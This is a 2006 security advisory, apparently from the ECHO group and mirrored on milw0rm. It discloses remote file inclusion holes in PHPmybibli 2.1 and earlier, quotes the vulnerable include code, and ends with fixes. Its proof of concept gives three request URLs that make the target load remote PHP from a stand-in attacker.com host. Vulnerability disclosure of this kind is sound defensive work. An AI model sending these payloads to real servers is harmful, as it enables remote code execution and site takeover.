107 lines
No EOL
3.5 KiB
Text
107 lines
No EOL
3.5 KiB
Text
____________________ ___ ___ ________
|
|
\_ _____/\_ ___ \ / | \\_____ \
|
|
| __)_ / \ \// ~ \/ | \
|
|
| \\ \___\ Y / | \
|
|
/_______ / \______ /\___|_ /\_______ /
|
|
\/ \/ \/ \/ .OR.ID
|
|
ECHO_ADV_55$2006
|
|
|
|
-----------------------------------------------------------------------------------------------
|
|
[ECHO_ADV_55$2006]Phpmybibli <=2.1 Multiple Remote File Inclusion Vulnerability
|
|
-----------------------------------------------------------------------------------------------
|
|
|
|
Author : Dedi Dwianto a.k.a the_day
|
|
Date Found : October, 17th 2006
|
|
Location : Indonesia, Jakarta
|
|
web : http://advisories.echo.or.id/adv/adv55-theday-2006.txt
|
|
Critical Lvl : Highly critical
|
|
Impact : System access
|
|
Where : From Remote
|
|
---------------------------------------------------------------------------
|
|
|
|
Affected software description:
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Application : PHPmybibli
|
|
version : <=2.1
|
|
URL : http://www.pizz.net/
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
Vulnerability:
|
|
~~~~~~~~~~~~~
|
|
|
|
I found vulnerability script cart.php
|
|
--------------------------cart.php---------------------------------------
|
|
....
|
|
<?
|
|
|
|
include_once("$include_path/cart.inc.php");
|
|
include_once("$include_path/templates/cart.tpl.php");
|
|
include_once("$include_path/isbn.inc.php");
|
|
include_once("$include_path/expl_info.inc.php");
|
|
include_once("$include_path/bull_info.inc.php");
|
|
include_once("$include_path/notice_authors.inc.php");
|
|
include_once("$include_path/notice_categories.inc.php");
|
|
include_once("$include_path/explnum.inc.php");
|
|
include_once("$class_path/cart.class.php");
|
|
include_once("$class_path/caddie.class.php");
|
|
include_once("$class_path/author.class.php");
|
|
include_once("$class_path/collection.class.php");
|
|
include_once("$class_path/subcollection.class.php");
|
|
include_once("$class_path/mono_display.class.php");
|
|
include_once("$class_path/serie.class.php");
|
|
include_once("$class_path/serial_display.class.php");
|
|
include_once("$class_path/serials.class.php");
|
|
include_once("$class_path/editor.class.php");
|
|
require_once("$class_path/emprunteur.class.php");
|
|
require_once("$javascript_path/misc.inc.php");
|
|
...
|
|
----------------------------------------------------------
|
|
|
|
Input passed to the "$include_path" parameter in cart.php is not
|
|
properly verified before being used. This can be exploited to execute
|
|
arbitrary PHP code by including files from local or external
|
|
resources.
|
|
|
|
Also affected files on Files:
|
|
|
|
edit.php
|
|
circ.php
|
|
index.php
|
|
select.php
|
|
etc..
|
|
|
|
Proof Of Concept:
|
|
~~~~~~~~~~~~~~
|
|
|
|
http://target.com/[phpmybibli_path]/index.php?class_path=http://attacker.com/inject.txt?
|
|
http://target.com/[phpmybibli_path]/edit.php?javascript_path=http://attacker.com/inject.txt?
|
|
http://target.com/[phpmybibli_path]/circ.php?include_path=http://attacker.com/inject.txt?
|
|
|
|
Solution:
|
|
~~~~~~
|
|
|
|
- Sanitize variable $class_path,$javascript_path,$include_path on affected files.
|
|
- Turn off register_globals
|
|
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
Shoutz:
|
|
~~
|
|
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
|
|
~ Jessy My Brain
|
|
~ az001,bomm_3x,matdhule,angelia
|
|
~ newbie_hacker@yahoogroups.com
|
|
~ #aikmel - #e-c-h-o @irc.dal.net
|
|
------------------------------------------------------------------------
|
|
---
|
|
Contact:
|
|
~~~
|
|
EcHo Research & Development Center
|
|
the_day[at]echo[dot]or[dot]id
|
|
|
|
-------------------------------- [ EOF ]----------------------------------
|
|
|
|
# milw0rm.com [2006-10-17] |